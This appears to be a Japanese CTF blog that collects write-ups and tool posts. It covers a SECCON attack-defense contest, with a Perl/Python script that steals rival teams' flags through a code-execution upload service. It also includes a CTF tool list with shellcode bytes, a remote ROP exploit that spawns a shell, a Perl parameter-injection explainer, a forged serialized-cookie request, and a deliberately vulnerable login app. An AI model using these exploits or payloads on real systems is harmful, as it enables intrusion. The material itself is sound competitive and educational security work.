SECCON 2015 Intercollege 優勝しました

チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。

f:id:akiym:20160131214722p:plain

今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。

2015.seccon.jp

ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。

用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…

vulnerable_blog, keiba

競技中はほぼ見てない。防御班に任せる。

sbox2015

PythonCGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIソースコードを読んだ。 単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。

#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])

SLAチェックは運営側からOUTDATA = "3630329450522296302958265"のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)で回避できる。危ない。
SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。

防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。

use v5.16;
use warnings;
use utf8;
use LWP::UserAgent;

my $ua = LWP::UserAgent->new(
    agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
);

my @ips = (
    '10.100.2.1',
    '10.100.4.1',
    '10.100.5.1',
    '10.100.7.1',
    '10.100.8.1',
    '10.100.10.1',
    '10.100.12.1',
    '10.100.13.1',
    '10.100.16.1',
    '10.100.17.1',
    '10.100.18.1',

    #'10.100.3.1',
    #'10.100.6.1',
    #'10.100.9.1',
    #'10.100.14.1',
    #'10.100.15.1',
);

for my $ip (@ips) {
    my $url = "http://$ip/cgi-bin/sbox2015/index.cgi";
    my $res = $ua->post($url,
        Content_Type => 'form-data',
        Content => {
            's' => 'upload',
            't' => 'python',
            'f' => ['attack.py'],
        },
    );
    my $play = $res->content;
    if ($play =~ /^2/) {
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => '0',
            },
        );
        my (@files) = $res->content =~ /'(.+?\.txt)'/g;
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => join(',', @files),
            },
        );
        #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/;
        #say "$ip: $flag";
        my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g;
        say "$ip:";
        for my $flag (@flags) {
            say $flag;
        }
    } else {
        warn 'fail';
    }
}

attack.py:

import os
import glob
if INDATA != '0':
    OUTDATA = str([open(f).read() for f in INDATA.split(',')])
    os.unlink(INDATA.split(',')[0])
else:
    f = glob.glob('uploadfiles/*')
    f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True)
    OUTDATA = str(f)

まとめ

最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。

f:id:akiym:20160131214727p:plain

攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。

'akiym' => {
    'Aquarium'        => 1012,
    'IPFactory'       => 453,
    'TomoriNao'       => 643,
    'Yozakura'        => 269,
    'barylite'        => 262,
    'insecure'        => 254,
    'm1z0r3'          => 7169,
    'negainoido'      => 1628,
    'oishiipp'        => 182,
    'omakase'         => 190,
    'security_anthem' => 528
},
'hiromu' => {
    'Aquarium'   => 543,
    'IPFactory'  => 581,
    'Yozakura'   => 192,
    'm1z0r3'     => 304,
    'omakase'    => 50,
    'wasamusume' => 188
},
'lrks' => {
    'MMA'        => 9164,
    'TomoriNao'  => 19,
    'Yozakura'   => 162,
    'insecure'   => 91,
    'm1z0r3'     => 6026,
    'negainoido' => 97,
    'z_kro'      => 93
},
'xrekkusu' => {
    'security_anthem' => 2761
}

オレオレCTFツール akitools

CTF Advent Calendar 2015 - Adventar 16日目

CTFをやると副産物として一枚岩のスクリプトができたりします。いくつか便利ツールを公開しているので、ここで紹介します。 個人的には地味に便利と思っているのですが、万人受けするようなものではなさそうです。オレ得ツールですね。

github.com

exploit.py, exploit.pl

pwn問題を解くとき、まずはじめにテンプレートとして手元にコピーしてきます。 pwntoolsとか便利なライブラリがあったりしますが、どの環境でも動かせるといろいろとよいことがあるので、recvuntilやinteractのような関数を実装したものを用意しています。

d

socatのラッパーです。デフォルトでstraceで起動します。

d ./vuln-binary

gadgets

rp++のラッパーです。rp++単体だと目grepで主要gadgetを探したりして面倒だったりします。

% gadgets ./braincpy
... (snip)
int_80 = 0x805b5c0
leaveret = 0x80481d1
pop_eax = 0x80beb89
pop_eax_ebx_esi_edi = 0x809a67a
pop_ebp = 0x80483a8
pop_ebp_ebx_esi_edi = 0x80728dd
pop_ebp_esi_edi = 0x809aa75
pop_ebx = 0x80516cb
pop_ebx_ebp = 0x80483a7
pop_ebx_ebp_esi_edi = 0x809aa74
pop_ebx_edx = 0x805adeb
pop_ebx_esi_ebp = 0x804a56a
pop_ebx_esi_edi = 0x80515a7
pop_ebx_esi_edi_ebp = 0x80489db
pop_ecx = 0x80dbc2c
pop_ecx_ebx = 0x805ae16
pop_edi = 0x80515a9
pop_edi_ebp = 0x80489dd
pop_edi_ebx = 0x8076412
pop_edi_esi = 0x8073018
pop_edi_esi_ebx = 0x8055f9b
pop_edx = 0x805adec
pop_edx_ecx_ebx = 0x805ae15
pop_esi = 0x8073019
pop_esi_ebp = 0x804a561
pop_esi_ebx = 0x8051980
pop_esi_ebx_edx = 0x805adea
pop_esi_edi = 0x80515a8
pop_esi_edi_ebp = 0x80489dc
pop_esp = 0x80beb39
pop_esp_ebx_esi_edi_ebp = 0x804cf3c
...

libc-offsets

libcのバイナリから指定された関数のアドレスのオフセットを取得します。"/bin/sh"のような文字列も取得することができます。

% libc-offsets /lib/x86_64-linux-gnu/libc-2.19.so
offset = {
    '__libc_start_main': 0x21dd0,
    'system': 0x46640,
    '/bin/sh': 0x17ccdb, # str
}

mysqlc

mysqlコマンドのラッパーです。ユーザやテーブルのセットアップが簡単にできます。問題と同じ環境を手元に作るときによく使います。

tobin, tohex

渡されたバイト列を変換します。

% cat ~/tool/sc/x86/binsh | tohex
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80

rotn

rot1-rot26まで出力します。過去のCTFで1度だけ役立ちましたが、もうROT13ネタの問題なんてやることはないはず。

disas-seccomp-filter

libseccompにscmp_bpf_disasmというコマンドが付属していますが、そのコマンドの出力のsyscall番号にコメントを付けてくれます。CTFの過去問にはseccomp-bpfが利用されている問題は数えるほどしかないのですが、まあ便利です。

% disas-seccomp-filter ./bpf
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  seccomp_data.arch
 0001: 0x15 0x00 0x02 0xc000003e   jeq x86_64 true:0002 false:0004
 0002: 0x20 0x00 0x00 0x00000000   ld  seccomp_data.nr
 0003: 0x35 0x00 0x00 0x40000000   jge 1073741824 true:0004 false:0004
 0004: 0x06 0x00 0x00 0x00000000   ret KILL
 0005: 0x15 0x07 0x00 0x00000038   jeq SYS_clone   true:0013 false:0006
 0006: 0x15 0x06 0x00 0x00000039   jeq SYS_fork   true:0013 false:0007
 0007: 0x15 0x05 0x00 0x0000003a   jeq SYS_vfork   true:0013 false:0008
 0008: 0x15 0x04 0x00 0x0000003e   jeq SYS_kill   true:0013 false:0009
 0009: 0x15 0x03 0x00 0x0000009d   jeq SYS_prctl  true:0013 false:0010
 0010: 0x15 0x02 0x00 0x000000c8   jeq SYS_tkill  true:0013 false:0011
 0011: 0x15 0x01 0x00 0x000000ea   jeq SYS_tgkill  true:0013 false:0012
 0012: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0013: 0x06 0x00 0x00 0x00000000   ret KILL

dirdiff.pl

ディレクトリ同士を比較します。

例題: CSAW 2014 for300 (https://github.com/ctfs/write-ups-2014/tree/master/csaw-ctf-2014/fluffy-no-more)

wordpressのファイルが大量に渡されるのでディレクトリ同士を比較することで改竄されたスクリプトが見つかります。

% perl dirdiff.pl 'var/www/html/**/*' 'wordpress-4.0/**/*'

disastobin

objdump -dの出力結果を食わせるとバイナリを出力します。

hopper-scripts/

12/18の記事で解説します。

まとめ

普段CTFをする上でよく使う自作ツールを紹介しました。(大半が書き捨てのようなスクリプトですが) 明日は「オレオレgdb拡張スクリプト pedal」です。お楽しみに。

PoliCTF John's shuffle: system("sh") technique

This is my short writeup for John's shuffle.

John is completely drunk and unable to protect his poor stack.. Fortunately he can still count on his terrific shuffling skills. Connect to shuffle.polictf.it:80

This is pwnable challenge worth 350 points. The binary is NX enabled, no stack protector yey.
I solved really fast and I thought this challenge is not worth 350 points ;)

f:id:akiym:20150712184549p:plain

How to PWN the server

First of all, You must use ROP payload instead of shellcode because the binary is NX enabled and there's no executable buffer...
The goal is to read the flag simplicity. But sometimes either guessing filename of the flag or executing SUID binary is required. So, the best way is to execute system("/bin/sh").

  • Leak libc base address
  • Guess libc version (e.g. leak copyright, find from libcdb.com)
  • Calculate addresses

That's easy? I think it looks like complicated, right?

Exploit it, more easy way...?

This binary has a buffer overflow vulnerability to find easily.
By the way, johns-shuffle provides system@plt and you don't have to leak anymore!

Where is "/bin/sh"? I don't have any buffers, there's no useful string in .data section?
Anyway, use gdb-peda's find command like this: (Here is customized gdb-peda: akiym/pedal · GitHub)

gdb-peda$ find '/bin/sh\0'
Searching for '/bin/sh\\0' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6e344 ("/bin/sh")
gdb-peda$ find 'sh\0'
Searching for 'sh\\0' in: None ranges
Found 17 results, display max 17 items:
johns-shuffle : 0x8048458 --> 0x65006873 ("sh")
         libc : 0xf7e1b420 --> 0x5f006873 ("sh")
...

Oh, "/bin/sh\0" is in libc... Do I have to leak libc base address? Wait, "flush\0" is in .dynstr section! Don't need to leak, I got it!
In most cases, $PATH environment variable is set. So, system("sh") now works. Let's write an exploit code.

# -*- coding: utf-8 -*-
import os
import sys
import struct
import socket

p = lambda x: struct.pack("<I", x)
u = lambda x: struct.unpack("<I", x)[0]

def connect(host, port):
    return socket.create_connection((host, port))

def interact():
    import telnetlib
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'

if REMOTE:
    host = 'shuffle.polictf.it'
    port = 80
else:
    host = '127.0.0.1'
    port = 4000

s = connect(host, port)
payload = (
    'A' * 32 +
    p(0x8048720) + # system@plt
    p(0xdeadbeef) +
    p(0x8048458) + # "sh\0"
    ''
)
s.send(payload + '\n')
s.send('exit\n')
interact()

Note: This exploit is unstable, try several times.

% python exploit.py r
It all began as a mistake..

It all began as a mistake..
*** Connection closed by remote host ***
% python exploit.py r
It all began as a mistake..

It all began as a mistake..
cat /home/*/flag
flag{rand0mizing_things_with_l0ve}

Perl5におけるコンテキストの扱いによる脆弱性について

The Perl Jam - Exploiting a 20 Year-old Vulnerability より

Perlを普段から書いている人にとっては常識ではあるが、そうではない人のために書いておく。

リストと配列

Perlにおける「リスト」とは何かというのを確認しておく。まず、Perlにはコンテキストという他のプログラミング言語にはない概念があり、単数(スカラー)と複数(リスト)を区別する。

# 配列
my @a = ('a', 'b', 'c');
# リストコンテキスト
# 配列をリストコンテキストで評価
print @a; #=> abc
# リストをリストコンテキストで評価
print ('a', 'b', 'c'); #=> abc

# スカラーコンテキスト
# 配列の要素はスカラー
print $a[0]; #=> a
# 配列をスカラーコンテキストで評価
print scalar @a; #=> 3
# リストをスカラーコンテキストで評価
print scalar ('a', 'b', 'c'); #=> c
# Useless use of a constant ("a") in void context
# Useless use of a constant ("b") in void context

コンテキストによって返される値が違うことが分かる。

リストと配列は別物。リストを@aという変数に入れることで配列になる。*1
ただし、配列はリストコンテキストで評価される。

sub foo {
    my ($arg1, $arg2, $arg3) = @_;
    # $arg1, $arg2, $arg3 にはどのような値が代入されるか
}

foo(1, 2, 3); #=> (1, 2, 3)
my @a = (1, 2);
foo(@a, 3);   #=> (1, 2, 3)

my @b = (2, 3);
foo(1, $b[0], 3); #=> (1, 2, 3)
foo(1, @b[0, 1]); #=> (1, 2, 3)
foo(1, @b);       #=> (1, 2, 3)
# array reference
foo(1, \@b);      #=> (1, [2, 3])
wantarray

wantarrayを使うと、コンテキスト(単数を受け取る場面、複数を受け取る場面)によって関数の振る舞いを変えることができる。しかし、これを使うとコードを見ただけでは動作が分からなくなってしまうこともあるため、頻繁には使われていない。使われる例を示すとすれば、CGI.pmのparam関数がある。

use CGI;
my $cgi = CGI->new;
# a=1&a=2&a=3
my @values = $cgi->param('a'); # (1, 2, 3)
my $value = $cgi->param('a'); # 1

ただし、CGI.pm 4.08からはmulti_paramを使うことがが推奨されており、リストコンテキストでparamを使おうとすると警告が出る。

my @values = $cgi->multi_param('a'); # (1, 2, 3)

外部からのパラメータを引数として渡すとき、この仕様が大きく問題となる。明示的にscalarによってスカラーコンテキストで評価しない限り、リストコンテキストで評価される。
New Class of Vulnerability in Perl Web Applications | Hacking for Christ では以下のようなコードに脆弱性があると言及されている。

my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => $cgi->param('realname'), 
    cryptpassword => $password});

$cgi->param('realname')はリストコンテキストで評価されるため、realnameパラメータが複数指定されていた場合に、引数の改竄ができる。
realname=aaa&realname=login_name&realname=adminとrealnameに対して複数のパラメータを指定することで以下のようにlogin_nameの改竄ができる。

{
    login_name => $login_name, 
    realname   => 'aaa', 
    login_name => 'admin',
    cryptpassword => $password,
}

このように書くのが正しい。

my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => scalar $cgi->param('realname'), 
    cryptpassword => $password});

もしくは

my $realname = $cgi->param('realname');
my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => $realname, 
    cryptpassword => $password});

この問題は脆弱なアプリを書く技術 // Speaker Deckでも言及しており、Advent Calendar CTF 2014の13日目の問題として出題した。Perlのハッシュはkey/valueが対になっていなくても(要素数が奇数)、警告は出るが動くため上記の例であればcryptpasswordも書き換えることができる。詳しくはスライド参照。

余談ではあるが、Mojolicious 5.48からはMojo::Parametersのparamの振る舞いが変更され、以前はCGI.pmと同じ挙動をしていたが、wantarrayによるコンテキスト別の挙動は完全に廃止され、複数のパラメータを受け取るにはevery_paramを使うようになった。

蛇足

できるだけ安全にコンテキストを扱うにはscalarスカラーコンテキストで評価するのを明示的に書く必要がある。しかし、scalarと毎回タイプするには人生は短すぎる。
Perl5では単項演算子としての+は意味のないものとして扱う。code blockとhash referenceを区別するものとして使われることもある。Perl6では+単項演算がscalarとして扱われるようになった。
ここではPerl5の+がscalarの代わりになるように言語ハックをしてみる。blead-perlに以下のパッチを当てる。

diff --git a/perly.y b/perly.y
index 4b73977..ec0cdf6 100644
--- a/perly.y
+++ b/perly.y
@@ -824,7 +824,13 @@ termbinop: term ASSIGNOP term                     /* $x = $y */
 termunop : '-' term %prec UMINUS                       /* -$x */
                        { $$ = newUNOP(OP_NEGATE, 0, scalar($2)); }
        |       '+' term %prec UMINUS                  /* +$x */
-                       { $$ = $2; }
+                       {
+                         if (FEATURE_UNARYSCALAR_IS_ENABLED) {
+                           $$ = scalar($2);
+                         } else {
+                           $$ = $2;
+                         }
+                       }

        |       '!' term                               /* !$x */
                        { $$ = newUNOP(OP_NOT, 0, scalar($2)); }
diff --git a/regen/feature.pl b/regen/feature.pl
index 6733e3c..c784691 100755
--- a/regen/feature.pl
+++ b/regen/feature.pl
@@ -37,6 +37,7 @@ my %feature = (
     unicode_strings => 'unicode',
     fc              => 'fc',
     signatures      => 'signatures',
+    unaryscalar     => 'unaryscalar',
 );

 # NOTE: If a feature is ever enabled in a non-contiguous range of Perl
% perl regen/feature.pl
% perl regen_perly.pl
% perl -MPerl::Build -e'Perl::Build->install(src_path => ".", dst_path => "/opt/blead-perl", configure_options => ["-Dusedevel", "-de"])'
% bin/perl5.21.10 -e'print localtime()'
657152711155570
% bin/perl5.21.10 -e'print scalar localtime()'
Fri Feb 27 15:57:09 2015
% bin/perl5.21.10 -Mfeature=unaryscalar -e'print +localtime()'
Fri Feb 27 15:57:11 2015

こうして世界がまたひとつ平和に近づいたとさ ;)

No cON Name CTF Quals 2014 writeup

チームdodododoで参加。最近はよく自分(@akiym)とれっくす(@xrekkusu)の2人で参加している。
結果は7位。finalsの参加権が貰えるらしいが、会場はスペインでおそらく交通費はでないので破棄ということに。問題は開始時にすべてオープンされる形になっており、全部で10問。朝7:00から始め、途中で寝て、3:40に全完。miscとwebに足を引っぱられた。

f:id:akiym:20140915071230p:plain

以下は問題の解説。

inBINcible

golangが吐くバイナリ。strippedされていないため、読むのはそこまで苦ではない。
まず、argv[1]が16文字であるか調べる。次に16個のgoroutine(main.func.001を参照)を生成してそれぞれ1文字ずつ比較して、その結果channelに出力している。すべての結果が正しければ正解になり"Yeah!"、間違っていれば"Nope!"。

0x08049456         xor        ecx, eb

0x08049466         movzx      ebp, byte [ds:esi]

実は文字列の比較ルーチンはxorしているだけ。gdbで0x08049456と0x8049469にブレークポイントを仕掛け、ecxとebpの値を取ってくる。

my @a = (0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12);
my @b = (0x55,0x75,0x44,0xb6,0xb,0x33,0x6,0x3,0xe9,0x2,0x60,0x71,0x47,0xb2,0x44,0x33);

for my $i (0..15) {
    print chr($a[$i] ^ $b[$i]);
}
G0w1n!C0ngr4t5!!

NcN_ce71ba32ccf191cc3b62ae73c7ffd1acf5e2f296

cannaBINoid

実行ファイルの先頭128バイトと入力した文字列128バイトが一致していればいい。それだけ。

NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd

STEGOsaurus

オーディオファイルといえば、まずやるのはスペクトログラム表示。

f:id:akiym:20140915071236p:plain

これはモールス信号。

-. -.-. -. ...-- -.-. -... ..-. -.. -.-. -.-. ---.. -.. --... .- ..--- ..... --... -.. ---.. ----- -.... ..--- ..... -.... ----- . ---.. ---.. -.. -.. --... -.. --... ..-. -.. -.... ..... -.. -.-. -.... ....- --... .-
ncn3cbfdcc8d7a257d8062560e88dd7d7fd65dc647a

最初に解いたのでfirst blood獲得。

CRYPTonite

spanish-book.enc。スペイン語の換字暗号らしい。記号も含まれているので既存のソルバーが使えない。とりあえず記号部分をアルファベットに置き換えて Cryptogram Solver (http://rumkin.com/tools/cipher/cryptogram-solver.php) のSpanish辞書を使ってみる。先頭の1行は以下のように変換された。

XL UIZXIUGBG FURCLZG RGI YPUVGMX RX LC NCIQFC
↓
EL INGENIOSO HIDALGO DON QUIJOTE DE LA MANCHA

ドン・キホーテ。スペイン語の原文があるのでそれと比較して文字を置換していく。

https://gist.github.com/rekkusu/47e369c3f74342970c31

テキスト内をNCNで検索するとflagがある。置換できなかった文字があるが、これは_に該当する文字はないため。

NCN_DEADBEAFCAFEBADBABEFEEDDEFACEDBEDFADEDEC

MISCall

git stash pop

NCN4dd992213ae6b76f27d7340f0dde1222888df4d3

imMISCible

disを使うことで読みやすい形に直してくれる。

import dis
dis.dis(marshal.loads(bytecode.decode('base64')))

おおざっぱに見ると文字列のhashlibのsha1を計算している。そして最後にNCNをくっつけるような処理がある。hexがたくさんあるのでこれのsha1を計算してるのだろうと推測。

 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d
 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f
 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61
 6c 6c 6f 77 3f
echo -n 'What is the air-speed velocity of an unladen swallow?' | shasum
NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310

proMISCuous

ずっと悩んでいたが、れっくすが"t"を入力したときに若干遅くなることを発見。サイドチャネル攻撃のようだ。スクリプトを書こうと思ったが遅延が小さいのか、なぜかうまくいかず悩んでいたところれっくすが人力で求めた。1文字ずつリズムを刻みながら試せば遅延がわかるらしい。

tIMeMaTTerS

NcN_15d07db12cd83174f0d19ce7e8c65a7c5ffba7df

WEBster

test:testでログインすることができる。ファイル一覧の中にflag.txtがあるが、アクセス拒否される。
cookieに付加されるlocはページ内のLocationより"10.128.29.136"のMD5を計算したものだとわかる。locをf528764d624db129b32c21fbca0cb8d6(127.0.0.1)に変更することでflag.txtを見ることができる。

NCN_f528764d624db129b32c21fbca0cb8d6

MakeMeFeeWet^Hb

index.phpにアクセスしてhtmlのソースを見ると、<!-- vim: set ts=2 sw=2: -->と書かれている。わざわざphpのコメントとしてではなくhtmlに書いたのだから何か意味があるのだろう。index.php~, login.php~はないし、index.php.swp, login.php.swpもないので数時間悩んだが、生成されるswpファイルは先頭に.がつくことを忘れていた。カレントディレクトリにswpファイルを生成する設定にしてないので馴染みがなかった。
したがって、.login.php.swpにアクセスするとソースコードの一部が得られる。

b0VIM 7.4
/ncn/web1/login.php
3210#"!
@$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie)))));
if (isset($_COOKIE['JSESSIONID'])) {
if ($username == "p00p" && $password == "l!k34b4u5") {
$this->p = $_passwd;
$this->u = $_uname;
public function __construct($_uname, $_passwd) {
public $p;
public $u;
class Creds {

p00p:l!k34b4u5でログインしてみるが、NOPE. But good try :)と言われる。おそらくJSESSINIDに対して何かしらのデータを投げるのだろう。ここで何をすればいいか困っていたところ、れっくすが適当に試していたらflagが出てきたとのこと。問題の意図が分からない。

O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}
POST /makemefeelweb/login.php HTTP/1.1
Host: ctf.noconname.org
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=XHg0Zlx4M2FceDM1XHgzYVx4MjJceDQzXHg3Mlx4NjVceDY0XHg3M1x4MjJceDNhXHgzMlx4M2FceDdiXHg3M1x4M2FceDMxXHgzYVx4MjJceDcwXHgyMlx4M2JceDczXHgzYVx4MzlceDNhXHgyMlx4NmNceDIxXHg2Ylx4MzNceDM0XHg2Mlx4MzRceDc1XHgzNVx4MjJceDNiXHg3M1x4M2FceDMxXHgzYVx4MjJceDc1XHgyMlx4M2JceDczXHgzYVx4MzRceDNhXHgyMlx4NzBceDMwXHgzMFx4NzBceDIyXHgzYlx4N2Q=
NcN_778064be6556e64577517875a8710b0abeba1578

eXPLicit

fork型のサーバでポート7070で起動する。static linkされている。0-20の数字を入力せよと言われ、決められた数字に対して高いか低いかを教えてくれる。合っていれば終了する。

f:id:akiym:20140915071239p:plain

my_printf(sockfd, your_number);としているために入力した文字列に対してformat string bugの脆弱性が存在する。
NXが有効。static linkされているのでreturn2libcには持っていくことができないが、gadgetが豊富なので困ることはない。ゲーム回数の制限はないため、何度もfsbすることができるのでreturn addressの推測、書き換えができる。やるだけ。
注意したいのはfork型のサーバなので標準入出力をdup2する必要があること。

https://gist.github.com/akiym/c00a0a277c04e6432d85

$ cat /home/ch5/flag.txt
NcN_97740ead1060892a253be8ca33c6364a712b21d

CTF各位3

loginpage1 (web 10)

running at ctf.katsudon.org:5002

#!/usr/bin/env perl
use Mojolicious::Lite;

app->secrets([$ENV{FLAG}]);

get '/' => sub {
    my $self = shift;
    return $self->render('index',
        user => $self->session->{user},
        flag => $ENV{FLAG},
    );
};

get '/user' => sub {
    my $self = shift;
    my @users;
    if (open my $fh, '<', "user.txt") {
        while (defined(my $user = <$fh>)) {
            my ($name, $password, $is_admin) = split /:/, $user;
            unshift @users, ($is_admin == 1 ? "$name (admin)" : $name);
        }
    }
    return $self->render('user',
        users => \@users,
    );
};

get '/register' => 'register';

post '/register' => sub {
    my $self = shift;

    my $name = $self->param('name') // die;
    my $pass = $self->param('pass') // die;

    $name =~ s/[^\x21-\x7e]//g; # ascii only!
    $pass =~ s/[^\x21-\x7e]//g;

    open my $fh, '>>', 'user.txt' or die $!;
    print {$fh} "$name:$pass:0\n"; # you are not admin
    close $fh;

    $self->session->{user} = {
        admin        => 0,
        name         => $name,
        pass         => $pass,
        give_me_flag => 0,
    };

    return $self->redirect_to('/');
};

get '/login' => 'login';

post '/login' => sub {
    my $self = shift;

    my $name = $self->param('name');
    my $pass = $self->param('pass');

    my $ok = 0;
    my $is_admin;
    open my $fh, '<', "user.txt" or die $!;
    while (defined(my $user = <$fh>)) {
        chomp $user;
        my ($n, $p, $a) = split /:/, $user;
        if ($n eq $name && $p eq $pass) {
            $is_admin = $a;
            $ok = 1;
            last;
        }
    }

    if ($ok) {
        $self->session->{user} = {
            admin        => $is_admin,
            name         => $self->param('name'),
            pass         => $self->param('pass'),
            give_me_flag => 0,
        };
        return $self->redirect_to('/');
    } else {
        return $self->render(text => 'login failed...');
    }
};

get '/source' => sub {
    my $self = shift;
    my $src = do {
        open my $fh, '<', __FILE__ or die $!;
        local $/; <$fh>;
    };
    return $self->render(text => $src, format => 'txt');
};

app->start;
__DATA__

@@ index.html.ep
% layout 'default';
% title 'hello';

<p>loginpage1 (web 10)<br />do not bruteforce, see <a href="/source">source</a></p>

% if ($user) {
<p>hello, <b><%= $user->{name} %></b> (password is: <%= $user->{pass} %>)</p>
    % if ($user->{admin}) {
<p>you are admin!</p>
        % if ($user->{give_me_flag}) {
<p>here is your flag: <%= $flag %></p>
        % } else {
<p>cheer up :)</p>
        % }
    % }
% }

@@ user.html.ep
% layout 'default';
% title 'user list';

<ul>
% for my $user (@$users) {
    <li><%= $user %></li>
% }
</ul>

@@ register.html.ep
% layout 'default';
% title 'register';

<h2>register</h2>

<form method="post" action="/register">
    name: <input type="text" name="name" /><br />
    pass: <input type="text" name="pass" /><br />
    <input type="submit" value="register" />
</form>

@@ login.html.ep
% layout 'default';
% title 'login';

<h2>login</h2>

<form method="post" action="/login">
    name: <input type="text" name="name" /><br />
    pass: <input type="text" name="pass" /><br />
    <input type="submit" value="login" />
</form>

@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title><%= title %> - cheap login</title>
</head>
<body>
    <p><a href="/">index</a> | <a href="/register">register</a> | <a href="/login">login</a> | <a href="/user">user list</a></p>
    <%= content %>
</body>
</html>

SECCON 2014 オンライン予選(日本語) writeup

SECCON 2014 オンライン予選(日本語)にdodododoとして参加した。2302点で5位。とりあえず全国大会の出場権は獲得できた(上位8位まで)。

f:id:akiym:20140720180817p:plain

チームメンバーによるwriteup:

以下、自分が解いた問題のwriteup:

ネットワーク

ソーシャルハック?

画像と思われるURL(http://example.com/foo.png)を投げるとアクセスしてくれる。

153.120.82.112 - - [19/Jul/2014:12:07:30 +0900] "HEAD /foo.png HTTP/1.1" 404 0 "-" "MyVNCpasswordIsVNCpass123" "153.120.82.124"

VNCで接続する。

f:id:akiym:20140720182726p:plain

FLAG{giveMeYourWebM0n3y}

フォレンジック

879,394bytes

879394→0xd6b22なので、バイナリエディタで\x22\x6b\x0dを検索する。

Chrysanthemum.jpg
捏造された契約書を暴け
% binwalk Timestamp.dd

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
236257          0x39AE1         GIF image data, version "89a", 40 x 40
238130          0x3A232         JPEG image data, EXIF standard
238142          0x3A23E         TIFF image data, little-endian
33258102        0x1FB7A76       End of Zip archive
33286656        0x1FBEA00       End of Zip archive
33288192        0x1FBF000       TIFF image data, little-endian
33362132        0x1FD10D4       Copyright string: " (c) 1998 Hewlett-Packard Companyny"
33366016        0x1FD2000       TIFF image data, little-endian
33411072        0x1FDD000       TIFF image data, little-endian
81637443        0x4DDB043       ELF

いくつかTIFF画像あるので、切り取ってみていく。

33366016        0x1FD2000       TIFF image data, little-endian

このTIFF画像が機密保持契約書だが、日付に関する情報はない。ほかのTIFF画像を見てみる。

238142          0x3A23E         TIFF image data, little-endian

